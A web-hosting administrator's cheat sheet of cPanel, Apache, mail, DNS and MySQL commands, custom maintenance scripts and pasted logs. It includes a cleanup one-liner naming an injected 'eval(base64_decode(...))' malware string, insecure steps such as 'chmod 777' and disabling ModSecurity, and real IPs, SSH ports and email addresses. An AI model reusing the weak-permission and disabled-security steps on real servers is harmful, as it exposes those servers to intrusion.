lsattr -d .
grep "FAILED LOGIN" /usr/local/cpanel/logs/login_log
*********************************************************************************************************************
# Command to list all services which are started at boot time in run level # 3:
chkconfig --list | grep '3:on'
Block Images from loading on website
RewriteRule .*\.(jpg|jpeg|gif|png|bmp)$ - [F,NC]
==>> cPanel update log file upcp
/var/cpanel/updatelogs/update.*.log
rebuild the system caches
/usr/local/cpanel/bin/userdata_update
/usr/local/cpanel/scripts/updateuserdomains
cPanel rebuilds httpd.conf from userdata files and its overwritten on every cPanel update, on every account creation, subdomain addition, or any such activity related to apache and any manual changes you make will be overwritten. To make permanent changes to a subdomain’s root folder :
Autorespond
ls -ld /home/*/.autorespond/
ll /home/*/.autorespond/
vi /usr/local/apache/conf/modsec2.conf
vi /usr/local/apache/conf/modsec2.user.conf
SecRule SERVER_NAME "jazeeranews.net" phase:1,nolog,allow,ctl:ruleEngine=off
"/usr/local/apache/conf/modsec2.user.conf"
vi /usr/local/apache/conf/modsec2.conf
"/usr/local/apache/conf/modsec2.user.conf"
cd /usr/local/apache/conf
vi modsec2.conf
#SecRule SERVER_NAME "vidpic.net"
SecRule REQUEST_URI "emporiogroup.com"
SecRule REQUEST_URI "/s.php"
SecRule REQUEST_URI "rsqxi.pl"
cd /usr/local/apache/conf/ ; cp -pv modsec2.conf modsec2.conf-bak ; wget -N http://serverIp/filename
-N : will replace the existant file
mysql -N mysql -e "SELECT table_schema, table_name FROM INFORMATION_SCHEMA.TABLES WHERE engine = 'innodb';" | awk '{print $1}' | sort | uniq
#ssh -l root -p 1891 64.37.60.130
grep -i "cookieipvalidation\|referrer\|skiphttpauth\|xsrftokens" /var/cpanel/cpanel.config
grep -v [^:]+: \(|[=]+\|Setting filetype\)
grep -v ^[-\\\|\/]
================================================
dig +trace inds.co
dig +trace +short inds.co.db
dig -h | more
host -t mx gmail.com
nslookup -query=mx gmail.com
mail -s "Will this message go through?" name@mydomain.com
dig @localhost MX kanatasmokehouse.com
dig @184.154.49.162 netonepay.com +short
dig @localhost MX igrane.ma +short
dig disturbindacape.co.za @ns1.gpdnsinfo.com
dig skynet.be mx
dig -x IP (209.267.166.166) "Check reverse lookup zone"
http://dns-record-viewer.online-domain-tools.com/
http://whois.arin.net/ui
whois 173.236.61.163@whois.arin.net
dig @ns1.noomacyberspace.com pampergirlz.co.za
/usr/sbin/exim -v 'carlo@kanatasmokehouse.com'
grep -c dbhost * | grep 1$
tracert -vpn-instance datos -a 192.10.20.1 67.23.243.231
#resolveip ip
===>>>> Please make server up asap and without fsck
Your server is back online with out fsck. I don't recommend doing this as it can result in damaged data down the line.
In order to get it booted without fsck, fstab was adjusted. Please make sure that gets changed from 0 0 to 1 2
Thank you!
http://www.unix.com/shell-programming-scripting/92490-replace-string-file-w-variable-value.html
cd ~whwteam/
cp -fpv /var/cpanel/cpanel.config /var/cpanel/cpanel.config_bak.org1 ;
sed 's/php_max_execution_time.*/php_max_execution_time=90/' /var/cpanel/cpanel.config > cpane_config ;
sed 's/php_post_max_size.*/php_post_max_size=55/' cpane_config > cpane_config_1 ;
sed 's/php_upload_max_filesize.*/php_upload_max_filesize=50/' cpane_config_1 > cpane_config_2 ;
yes | cp -fv cpane_config_2 /var/cpanel/cpanel.config ;
diff /var/cpanel/cpanel.config_bak.org1 /var/cpanel/cpanel.config ;
rm -fv cpane_config* ;
find /home/*/public_html/php.ini -print -type f -exec sed -i 's/memory_limit.*/memory_limit=64M/g' {} \;
http://www.unix.com/shell-programming-scripting/92490-replace-string-file-w-variable-value.html
To revert Changes:
cp -pv /var/cpanel/cpanel.config_bak.org1 /var/cpanel/cpanel.config
================================================
To enable DMA for a hard drive: hdparm -d1 /dev/hda
To disable DMA for a hard drive: hdparm -d0 /dev/hda
To measure transfer rate of a hard drive: hdparm -Tt /dev/hda
To see what options are enabled for a hard drive: hdparm /dev/hda
To see more info on your drive than you wanted to know: (this will show which UDMA modes are supported/enabled) hdparm -i /dev/hda
How To Extract a Single File / Directory from Tarball Archive
Extract file to /tmp directory
tar -zxvf mytar.ball.tar.gz -C /tmp filename
tar -zxvf mytar.ball.tar.gz -C /tmp dir-name
OR
tar xvf /dev/st0 directory-name
tar xvf mytar.ball.tar filename
--------------------------------
Reboot server
shutdown -r now
Reboot the server without FSCK
shutdown -rf now
Note: the lower case "f" indicates that the server will skip fsck. An uppercase "F" would do the opposite and force the server to run a fsck.
Dump just the table structure to a file in MySQL
backup a table structure but NOT his data in MySQL
mysqldump --no-data DBNAME_roundcube > roundcube.sql
or use -d option
target specific tables, enter them after the database name.
mysqldump --no-data -h localhost -u root -ppassword mydatabase table1 table2 > mydatabase_backup.sql
replace a line start or having work [incompleted word]with another word
sed -e 's/php_max_execution_time.*/php_max_execution_time=60/' test
sed -e 's/{line that you want to replace}/{line with which you want to replace}/g'
Replace second Line of a file with another line. [Will not changes]
sed '2 s/.*/new_text_here/' filename
replace word
perl -pie 's/old-word/new-word/g' input.file > new.output.file
delete 1st and 5th line
sed '1d;5d' <file name>
sed -e 1d -e 5d <file name>
delete line 1st to 5th
sed 1,5d <file name>
delete from line 37 to last line
sed '37,$d' <file name>
Remove the line containing the string "awk":
sed '/awk/d' filename.txt
Delete first and last line of a file
sed "1d;$d" < inputfile.txt > outputfile.txt
http://www.commonitman.com/search/label/Linux
Unix - Delete last line of file
sed '$d' source_file.dat > destination_file.dat
Remove * from cpmove-yeshiba.tar.gz*
ls -1 cpmove-* | sed 's/\*/ /g'
find files where ONLY the owner has execute permissions we are looking for permissions 700 or 300 or 100 .
find . -type f \( -perm -000100 -a ! -perm -000010 -a ! -perm -000001 \) -print
root@server[#] vi hackreplace.sh
hacked='eval(base64_decode("DQplcnJvcl9oKTsNCn0KfQp9DQp9DQp9"));'
find -name \*.php | xargs replace $hacked "" --
#sh hackreplace.sh
http://www.bookofzeus.com/articles/send-an-email-in-linux-from-the-shell-with-attachment/
curl -s consortia.in | grep title
remove it from httpd.conf
/scripts/killvhost roommatein.com
/scripts/check_cpanel_rpms --fix
cat /etc/fstab
nano /etc/fstab
df -h
mount -o remount,rw /backup
find /home/*/public_html/php.ini -print -type f -exec sed -i 's/128/64/g' {} \;
ssh -2C 67.23.248.62 -p3281 -lroot -v
ssh 67.23.248.62 -p3281 -lwhwteam -v
curl -A “Mozilla/4.0” -iL [URL]
ls -lt | sort -k 7 -n
find -cmin -1 -type f
find -cmin -1 -type f -or -type d
/scripts/addpop username@domaina.com
echo "Test Email" | mail -v -s "This is a Test Email" testmail24x7@yahoo.com
exim -d all+filter -f paul.valle@datadisk.co.uk complaints@datadisk.co.uk
sender address supplies the senders address overriding the address computed from the users login name
/usr/local/cpanel/bin/sendmail_cpanel -i -t -fventas@orquestasbogota.com
Send email from shell
# exim -f angrycustomer@datadisk.co.uk compliants@datadisk.co.uk
Override the username
The gecos field is normally used to supply the username, but this can be overriden
# exim -F 'The Boss' paul.valle@datadisk.co.uk
Verify an address
# exim -bv xxxxxxxxxx@odkas.com
exim -bvs
Testing routing
# exim -bt xxxxxxxxxx@odkas.com
To trace path:
# exim -d -bt user@domain.com
/scripts/mailperm --verbose digitalk
ls -lst cpmove-* | grep "Sep 12" | awk {'print $10'} |mv -v $(xargs) mytes/
mysql -N mysql -e "use cphulkd; delete from brutes; delete from logins;"
file * | grep executable | awk {'print $1'}
find -type f -name maildirsize | xargs rm -fv
last | head
ls -d */ |tr -d /
If you want to block FTP access for a Specific IP then run the below command :
root@server[#] iptables -A INPUT -p tcp -s 67.23.243.231 --dport 21 -j DROP
iptables -A INPUT -p tcp -s 173.236.56.106 --dport 21 -j DROP
iptables -A INPUT -p tcp -s 173.236.56.106 --dport 110 -j DROP
iptables -A INPUT -p tcp -s 173.236.56.106 --dport 25 -j DROP
iptables -A INPUT -s 201.230.102.86 -j DROP
iptables -A INPUT -s 190.233.225.71 -j DROP
iptables -I INPUT -p tcp -s 187.208.193.121 -j ACCEPT
If you want to block FTP access for a Specific IP then follow the below steps :
root@server[#] vi /etc/csf/csf.deny
and add the line :
tcp:in:d=21:s=10.10.10.10
save and quit
And then restart CSF firewall using the below command :
root@server[#] csf -r
Command to view the previous load in the server.
grep average /var/log/dcpumon/toplog.*
To know the Server Type (Microsoft-IIS Or Apache):
http://uptime.netcraft.com/
http://www.quora.com/How-can-I-determine-which-web-server-a-particular-website-is-using-Apache-IIS-Nginx-etc
curl -I mundoseven.com
curl -I <domainname.com>
Screen Command
http://linuxhelps.com/2009/03/screen-command/
*********************************************************************************************************************
Problem in password protection using .htaccess
How to protect CRE Loaded admin area ?
or
Problem when page requires authentication
or
How to set password protection for sub directory without affecting to other .htaccess rewrite rules
http://www.indianwebportal.com/problem-password-protection-htaccess
Add this line to the beginning of the .htaccess file in your root .htaccess means “/home/username/publi_html/.htaccess ” file.
ErrorDocument 401 “Unauthorized”
How to make root domain .htaccess not affect to addon domain
http://www.indianwebportal.com/root-domain-htaccess-affect-addon-domain
Remove extensions from url
http://www.indianwebportal.com/remove-extensions-url
Cpanel Introduction
http://www.indianwebportal.com/cpanel-introduction
*********************************************************************************************************************
how to print script output to screen and file
http://linux.byexamples.com/archives/349/how-to-redirect-output-to-a-file-as-well-as-display-it-out/
LoadAll.sh 2>&1 | tee -a Load.log
*********************************************************************************************************************
autorespond path
/home/aeuropa/.autorespond
root@solo ll /home/aeuropa/.autorespond
total 20
drwx------ 2 aeuropa aeuropa 4096 Jun 10 23:31 ./
drwx--x--x 36 aeuropa aeuropa 4096 Aug 9 18:05 ../
-rw-r--r-- 1 aeuropa aeuropa 175 Jun 10 14:30 europa\@aeuropa.eu
-rw-r--r-- 1 aeuropa aeuropa 15 Jun 10 14:30 europa\@aeuropa.eu.conf
-rw-r--r-- 1 aeuropa aeuropa 2223 Aug 16 15:52 info_log
*********************************************************************************************************************
Email per hour per domain - Need Help
http://forums.cpanel.net/f5/email-per-hour-per-domain-need-help-136945.html
http://forums.cpanel.net/f145/mail-sending-limits-per-e-mail-account-rather-than-per-domain-150441.html
/var/cpanel/users/username
MAX_EMAIL_PER_HOUR=100
MTIME=1312731650
Good:
http://forums.cpanel.net/f43/11-28-max-emails-per-domain-changed-drastically-173212.html
http://forums.cpanel.net/new-user-questions/199891-max-emails-limit-per-domain-per-cpanel-account-post957141.html
MAX_EMAIL_PER_HOUR=100
MAX_EMAIL_PER_HOUR-stanfordrafflesrealty.com=100
/scripts/updateuserdomains
/scripts/update_email_limits ( /scripts/update_email_limits [user]) or /usr/local/cpanel/scripts/updateuserdomains [username]
grep maxemailsperhour /var/cpanel/cpanel.config
Ex:
root@alpha [/home/businett]# /scripts/update_email_limits businett
Set limit for businett2000.com to 50/hour
*********************************************************************************************************************
Custom php.ini not working on SuExec Enabled Server
http://www.eukhost.com/forums/f38/custom-php-ini-not-working-suexec-enabled-server-10966/
how calculation RLimitCPU RLimitNPROC RLimitMEM ?
http://www.webhostingtalk.com/showthread.php?t=964691
http://linux.die.net/man/2/setrlimit
RLimitCPU -- CPU time limit in seconds. When the process reaches the limit, it is sent a KILL signal
RLimitNPROC -- The maximum number of threads that can be created for the real user ID of the calling process. Upon encountering this limit, fork() fails with the error EAGAIN.
RLimitMEM -- sets the same limit for RLIMIT_DATA (The maximum size of the process's data segment (initialized data, uninitialized data, and heap),
If you have a cpanel server, run the following script.
Code:
/scripts/apachelimits
root@virgo [~]# /scripts/apachelimits
Apache Limiter by cPanel, Inc. <copyright@cpanel.net>
Checking for BSD Accounting ....
Calculating Memory Limit .......3367792..1683896..2104504..2385397..1221322752..
..407107584..
Largest Webserver child cgi/ssi/php is now limited to 388 meg
root@vps [/home]# /scripts/apachelimits
Apache Limiter by cPanel, Inc. <copyright@cpanel.net>
Checking for BSD Accounting ....
Calculating Memory Limit .......1048576..524288..0..524288..268435456..
..89478485..
info [apache_conf_distiller] Missing IP for domain template.hdvps.com, using 67.23.247.203
info [apache_conf_distiller] Missing port for domain template.hdvps.com, using 80
info [apache_conf_distiller] Missing user for domain template.hdvps.com, using nobody
info [apache_conf_distiller] Missing group for domain template.hdvps.com, using nobody
info [apache_conf_distiller] Missing ServerName for domain template.hdvps.com, using template.hdvps.com
Distilled successfully
Largest Webserver child cgi/ssi/php is now limited to 85 meg
root@vps [/home]#
RLimitMEM 225458048
RLimitCPU 20 60
RLimitNPROC 50 50
RLimitMEM 325458048
RLimitCPU 20 60
RLimitNPROC 50 50
RLimitMEM 225458048
RLimitCPU 10 30
RLimitNPROC 20 20
RLimitMEM 225458048
RLimitCPU 10 10
RLimitNPROC 10 10
root@veebo [/etc/httpd/conf]# cat userdata/std/2/kanayaoz/kanayaozora.com/rlimit.conf
RLimitMEM 125829120 146800640
Diff between the files
43c43
< RLimitMEM 465030826
---
> #RLimitMEM 465030826
47c47
< #RLimitMEM 255500900
---
> RLimitMEM 255500800
88994a88995,89033
> ServerName support.tiptonnetworking.com
> ServerAlias www.support.tiptonnetworking.com
> DocumentRoot /home/tiptonne/public_html/support
> ServerAdmin webmaster@support.tiptonnetworking.com
> UseCanonicalName On
> CustomLog /usr/local/apache/domlogs/support.tiptonnetworking.com combined
> CustomLog /usr/local/apache/domlogs/support.tiptonnetworking.com-bytes_log "%{%s}t %I .\n%{%s}t %O ."
> ## User tiptonne # Needed for Cpanel::ApacheConf
> UserDir disabled
> UserDir enabled tiptonne
> <IfModule mod_suphp.c>
> suPHP_UserGroup tiptonne tiptonne
> </IfModule>
> <IfModule concurrent_php.c>
> php4_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> php5_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule !concurrent_php.c>
> <IfModule mod_php4.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> <IfModule mod_php5.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule sapi_apache2.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> </IfModule>
> <IfModule !mod_disable_suexec.c>
> SuexecUserGroup tiptonne tiptonne
> </IfModule>
> ScriptAlias /cgi-bin/ /home/tiptonne/public_html/support/cgi-bin/
>
>
> # To customize this VirtualHost use an include file at the following location
> # Include "/usr/local/apache/conf/userdata/std/2/tiptonne/support.tiptonnetworking.com/*.conf"
>
> </VirtualHost>
> <VirtualHost 173.236.99.82:80>
89352a89392,89430
> ServerName projects.tiptonnetworking.com
> ServerAlias www.projects.tiptonnetworking.com
> DocumentRoot /home/tiptonne/public_html/projects
> ServerAdmin webmaster@projects.tiptonnetworking.com
> UseCanonicalName On
> CustomLog /usr/local/apache/domlogs/projects.tiptonnetworking.com combined
> CustomLog /usr/local/apache/domlogs/projects.tiptonnetworking.com-bytes_log "%{%s}t %I .\n%{%s}t %O ."
> ## User tiptonne # Needed for Cpanel::ApacheConf
> UserDir disabled
> UserDir enabled tiptonne
> <IfModule mod_suphp.c>
> suPHP_UserGroup tiptonne tiptonne
> </IfModule>
> <IfModule concurrent_php.c>
> php4_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> php5_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule !concurrent_php.c>
> <IfModule mod_php4.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> <IfModule mod_php5.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/local/lib/php:/tmp"
> </IfModule>
> <IfModule sapi_apache2.c>
> php_admin_value open_basedir "/home/tiptonne:/usr/lib/php:/usr/php4/lib/php:/usr/local/lib/php:/usr/local/php4/lib/php:/tmp"
> </IfModule>
> </IfModule>
> <IfModule !mod_disable_suexec.c>
> SuexecUserGroup tiptonne tiptonne
> </IfModule>
> ScriptAlias /cgi-bin/ /home/tiptonne/public_html/projects/cgi-bin/
>
>
> # To customize this VirtualHost use an include file at the following location
> # Include "/usr/local/apache/conf/userdata/std/2/tiptonne/projects.tiptonnetworking.com/*.conf"
>
> </VirtualHost>
> <VirtualHost 173.236.99.82:80>
[18-Aug-2011 11:23:06] PHP Fatal error: Out of memory (allocated 25427968)
(tried to allocate 30720 bytes) in
/home/ballarat/public_html/whatson/wp-admin/includes/update.php on line 203
root@focus
cd /home/ballarat/public_html/whatson
# cat .htaccess
RLimitCPU 60 60
RLimitMEM 295500800
RLimitNPROC 25 25
cd /home/ballarat/public_html/whatson
# cat php.ini
memory_limit = 64M
*********************************************************************************************************************
How to reset one account bandwidth
http://forums.cpanel.net/f5/how-reset-one-account-bandwidth-17165.html
You could also delete the accounts files under /var/cpanel/bandwidth/
to reset single account bandwidth to return to 0 during the month
1- ssh to your server
2- cd /var/cpanel/bandwidth.cache/
3- vi domainname.com
4- delete the numbers in that file and retype 0 instead of the number
5- save and quit and show bandwidth usage in WHM you will find its 0
*********************************************************************************************************************
How to remove all Posts from WordPress safely
If you want to remove all the posts from a wordpress then you can do it in few simple steps.
first take the backup of the database
root@server[#] mysqldump –opt DB_dbname > DB_dbname.sql
then
root@server[#] mysql
use DB_dbname ;
show tables;
select the table wp_posts
TRUNCATE TABLE wp_posts;
quit
*********************************************************************************************************************
http://www.cyberciti.biz/faq/shell-how-to-determine-the-exit-status-of-linux-and-unix-command/
http://bash.cyberciti.biz/guide/The_exit_status_of_a_command
pidof crond > /dev/null ; echo $?
0 "means running"
1 "not running"
root@veebo [/tmp]# cat /home/whwteam/toruncron
#!/bin/bash
status=pidof crond > /dev/null ; echo $?
if test $status -eq 0
then
echo "Already Running"
else
/etc/init.d/crond start
fi
sh /home/whwteam/toruncron 2> /dev/null
root@server[#] vi hackreplace.sh
hacked='eval(base64_decode("DQplcnJvcl9oKTsNCn0KfQp9DQp9DQp9"));'
find -name \*.php | xargs replace $hacked "" --
#sh hackreplace.sh
echo "ps auxf | sort -k1 | egrep -v -E 'root|nobody|whwteam'" > /bin/myps ; chmod -v 700 /bin/myps ;
echo "hload 200 | sort -k 3" > /bin/mload ; chmod -v 700 /bin/mload ;
- - - - - - - - - - - - - - - - - -
ll /bin/mload ; ll /bin/myps
echo "hload 200 | sort -k 3" > /bin/mload ; chmod -v 700 /bin/mload
- - - - - - - - - - - - - - - - - -
echo 'grep -A 5 $1 /etc/httpd/conf/httpd.conf' > /bin/testpath ; chmod -v 700 /bin/testpath ;
- - - - - - - - - - - - - - - - - -
killwhom
echo 'ps auxf |grep $1|awk '\'{print '"kill -9 "' '$2'}''\' > /bin/killwhom ; chmod -v 700 /bin/killwhom ;
- - - - - - - - - - - - - - - - - -
Errror:
cp /bin/killwhom /bin/mykill -v
echo 'mykill python ; mykill cpaneld ; mykill webmaild ; mykill webalizer ; mykill eximwrap ; mykill backupadmin ; mykill eximwrap ; mykill logrunner ;mykill cpanellogd ; mykill update ; mykill crond ;mykill spamd ; mykill pkgacct ;' > /bin/mykill
Errror:
- - - - - - - - - - - - - - - - - -
root@real [/etc/valiases]# ll | head | awk '{print $3,$7,$9}'
ll | head | awk '{print $3,$7,$9}' | sort -k 2 -nr | grep -v root
- - - - - - - - - - - - - - - - - -
vi /root/.bashrc
alias ll="ls -alh"
cd /tmp
- - - - - - - - - - - - - - - - - -
cat /bin/check
netstat -plan|grep :80|awk {'print $5'}|cut -d: -f 1|sort|uniq -c|sort -nk 1
cat /bin/http
lynx http://127.0.0.1/whm-server-status
===================================================================================================================
===================================================================================================================
root@trinity [/tmp]# cat /usr/local/ddos/load_balance/loadbalancer
#!/bin/bash
# Configuration that you can customize
# Set total Server load limit below
LOADLIMIT=1
# Set CPU Usage per process limit below
CPULIMIT=3
# Set Memory Usage per process limit below
MEMLIMIT=3
#Do not edit anything from HERE
#===============================================
#taking list of username of users of cpanel accounts on the server to file USERLIST
ls -1 /var/cpanel/users > /usr/local/ddos/load_balance/USERLIST
# Taking Server load below
LOADAVG=$(uptime | awk '{print $10}')
# Converting the decimal value of load to integer below
LOAD=$(echo $LOADAVG|awk -F \. '{print $1}')
if [ $LOAD -gt $LOADLIMIT ]
then
#Taking output of Top command in file called as TOPOUT
top -bn 1 |head -17 > /usr/local/ddos/load_balance/TOPOUT
# A Small code below to remove first 7 unwanted lines from file TOPOUT and sent remaining out put to file OUTFILE
#===============================================
VAL=$(cat /usr/local/ddos/load_balance/TOPOUT |wc -l)
VAL1=$(($VAL - 7))
tail -$VAL1 /usr/local/ddos/load_balance/TOPOUT > /usr/local/ddos/load_balance/OUTFILE
#===============================================
# Now as we have first 10 process of top command, we will check CPU Usage of each process, if it is above the limit of Cpu usage set
# Then we will check if it is process of nobody or any cpanel user on server, if so then we will kill it
cat /usr/local/ddos/load_balance/OUTFILE|\
while read line
do
# Taking PID of the process below
PROCPID=$(echo $line|awk '{print $1}')
#Taking user running the process, below
PROCUSER=$(echo $line|awk '{print $2}')
#Taking CPU USAGE of the process
PROCCPU=$(echo $line|awk '{print $9}')
# Converting the decimal value of CPU load to integer below
PROCCPULOAD=$(echo $PROCCPU|awk -F \. '{print $1}')
#Below, Checking if cpu usage of that process is greater that the limit set by us
if [ $PROCCPULOAD -gt $CPULIMIT ]
then
# As the cpu usage is greater than the limit set by us we will move further checking the user of that process
# and taking actions as per the user. We will be killing the process only if the user is nobody or any cpanel account user
# Below we are checking if the process user is nobody
if [ $PROCUSER = "nobody" ]
then
kill -9 $PROCPID
exit 1
else
#Below we are checking if the user of the process is user of any cpanel account, if so we will kill him
cat /usr/local/ddos/load_balance/USERLIST |\
while read cpusername
do
if [ $PROCUSER = $cpusername ]
then
kill -9 $PROCPID
exit 1
fi
done
fi
fi
done
fi
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
===================================================================================================================
===================================================================================================================
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
root@solo [/tmp]# cat /usr/local/ddos/hostchecker
#########################################################
# #
# Script to Check Hosts.allow and hosts.deny #
# BY #
# APSC InfoTech & Software Solutions Pvt Ltd #
# #
# #
#########################################################
# This script will mail you if hosts.deny and hosts.allow are modified
# This script will check these files are modified or not every 5 mins
# If the files are modified it will mail you specifying so with content of the files
# Cron Details: */5 * * * * path to script
# Do not modifiy any code from here
# Taking Hosting Name
SERVER=$(/bin/hostname)
# Taking values of modification
ALLOW=$(/usr/bin/find /etc/ -mmin -5 -name hosts.allow|wc -l)
DENY=$(/usr/bin/find /etc/ -mmin -5 -name hosts.deny|wc -l)
# Checking if hosts.allow was modified or not
if [ $ALLOW -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.allow was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.allow is now:
$(/bin/cat /etc/hosts.allow)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.allow file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
if [ $DENY -eq 1 ]
then
printf "
Hello,
ATTENTION !!!!!!
The file /etc/hosts.deny was modified on Server $SERVER in last 5 mins.
The modified content of /etc/hosts.deny is now:
$(/bin/cat /etc/hosts.deny)
Thanks,
Admin
APSC Infotech & Software Solutions Pvt Ltd.
" |mail -s "ATTENTION!! - hosts.deny file modified on $SERVER" -c mrhhosting@gmail.com paypal@myresellerhome.com
fi
# THE END
# Copywrite (C) 2007 APSC InfoTech & Software Solutions Pvt Ltd.
# Report bugs to <anand@apsinfotech.com>
#----------------------------------------------------------------------------------------
# This script belongs to APSC InfoTech and Software Solutions Pvt Ltd.
# This script cannot be used or modified or distrubuted without permission of APSC InfoTech.
# For any of such things done will considered as violation of company rules
# and appropriate legal action will be take
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
===================================================================================================================
===================================================================================================================
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
*********************************************************************************************************************
Files and folders get created once a test email account setup
==>Mail folder
Folders:
./pgahost.com/test
./pgahost.com/test/.Trash
./pgahost.com/test/cur
./pgahost.com/test/new
./pgahost.com/test/tmp
./pgahost.com/test/.Sent
./pgahost.com/test/.Sent/cur
./pgahost.com/test/.Sent/tmp
Files
./pgahost.com/test/dovecot-uidvalidity.4e514042
./pgahost.com/test/.Trash/dovecot-uidlist
./pgahost.com/test/.Trash/dovecot.index.log
./pgahost.com/test/maildirsize
./pgahost.com/test/dovecot-uidvalidity
./pgahost.com/test/dovecot.index.cache
./pgahost.com/test/cur/1313947723.H501358P4171.real.superdnssite.com,S=889:2,
./pgahost.com/test/dovecot-uidlist
./pgahost.com/test/subscriptions
./pgahost.com/test/dovecot.index.log
./pgahost.com/test/.Sent/cur/1313947723.M546428P4174.real.superdnssite.com,S=551,W=568:2,S
./pgahost.com/test/.Sent/dovecot-uidlist
./pgahost.com/test/.Sent/dovecot.index.log
=> Etc folder
./pgahost.com/passwd,v
./pgahost.com/passwd
./pgahost.com/quota
./pgahost.com/quota,v
./pgahost.com/shadow,v
./pgahost.com/shadow
./ads-cuadrado.pgahost.com
./pgahost.com
./pgahost.com/info
./pgahost.com/passwd,v
./pgahost.com/passwd
./pgahost.com/quota
./pgahost.com/quota,v
./pgahost.com/shadow,v
./pgahost.com/shadow
./pgahost.com/@pwcache
*********************************************************************************************************************
Unable to load dynamic library /usr/local/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so
/usr/local/lib/php/extensions/no-debug-non-zts-20090626/ixed.5.2.lin
extension_dir = "/usr/local/lib/php/extensions/no-debug-non-zts-20090626"
extension="suhosin.so"
zend_extension="/usr/local/ioncube/ioncube_loader_lin_5.3.so"
*********************************************************************************************************************
Cpanel services details
http://docs.cpanel.net/twiki/bin/view/AllDocumentation/WHMDocs/RestartServices
mail directory information.
Cache all email:
http://www.thecpaneladmin.com/tag/mail/
*********************************************************************************************************************
IP reputation Check
http://sendmail.com/sm/resources/tools/ip_reputation/
*********************************************************************************************************************
rsync -vrplogDtH public_html/ root@75.126.219.187:/home/blognews/public_html/
rsync -avz cpmove-"christt\|reports\|sports".tar.gz root@thracian.nocdirect.com:/home
*********************************************************************************************************************
http://awstats.sourceforge.net/docs/awstats_setup.html
http://awstats.sourceforge.net/docs/awstats_faq.html
http://awstats.sourceforge.net/docs/awstats_config.html
http://awstats.sourceforge.net/docs/awstats.pdf
*********************************************************************************************************************
Ip entry in http.conf file
1) NameVirtualHost 64.37.60.110:80
2) <VirtualHost 64.37.60.110:80>
ServerName adarac.co.il
ServerAlias www.adarac.co.il
DocumentRoot /home/adaracco/public_html
</VirtualHost >
3) <VirtualHost * 66.7.215.104:80 66.7.215.105:443 66.7.215.105:80>
*********************************************************************************************************************
Monotoring steps:
http://www.cyberciti.biz/faq/what-process-has-open-linux-port/
Imp commds:
http://cb.vu/unixtoolbox.xhtml
*********************************************************************************************************************
Deny Ip range through csf:
csf -d 220.255.2.0/24
How to block a range of IPs in APF/CSF
http://firelinux.wordpress.com/2009/08/15/how-to-block-a-range-of-ips-in-apfcsf/
****************************************************************************************************************
Very Important website: !!!!!
http://webhostingdevelopment.com/forum/index.php/category/attack/**************************************************************************************************************************
JFolder::create: Could not create directory
Warning! - Failed to move file.
php.ini
session.gc_maxlifetime =
session.gc_divisor =
safe_mode =Off
Check writeable permssion to all
chmod 777 cache/ -R
chmod 777 administrator/cache/ -R
*********************************************************************************************************************
/home/worldtra/public_html/wtmrealty/include/class/template/core.inc.php on line 1711
****************************************************************************************************************http://forums.cpanel.net/f5/user-deleted-most-dot-files-their-root-potential-problem-165858.html
.bash_logout
.bash_profile
.bashrc
.canna
.contactemail
.emacs
.ftpquota
.lastlogin
.zshrc
**************************************************************************************************************************
The CREATE TRIGGER function is provided by the SUPER privilege which I have configured as below:
mysql> show grants for 'amitabha_cms'@'localhost';
mysql> use amitabha_cms;
Database changed
mysql> CREATE TRIGGER mantraTrigger AFTER INSERT ON jos_chronoforms_data_mantrasubmission
-> for each row BEGIN
-> Declare mantra integer;
-> select count into mantra from mantra_recitation where id = 1 for update;
-> update mantra_recitation set count = mantra + New.mantraCount where id = 1;
-> END
-> |
************************************************ ************************************************************************************************
Plesk 10 commads
http://download1.parallels.com/Plesk/PP10/10.1.1/Doc/en-US/online/plesk-unix-cli/index.htm
*****************************************************************************************************************************19 ffmpeg commands for all needs
http://www.catswhocode.com/blog/19-ffmpeg-commands-for-all-needs
http://www.mygnulinux.com/?p=56
ffmpeg -formats
Convert mp4 to flv
ffmpeg -i origine84.mp4 -ab 56 -ar 44100 -b 200 -r 15 -s 320x240 -f flv finale84.flv
ffmpeg -i origine84.mp4 -f flv finale84.flv
*************************************************************************************************************
history of Terminate Account
Is there any log of termination account
/var/cpanel/accounting.log
grep USERNAME /usr/local/cpanel/logs/access_log | grep --color killacct
/root/.bash_history in case it was manually removed
*********************************************************************************************************************
Suspended Page
cat .htaccess
RedirectMatch .* /cgi-sys/suspendedpage.cgi
*****************************************************************************************************************************
templates]#
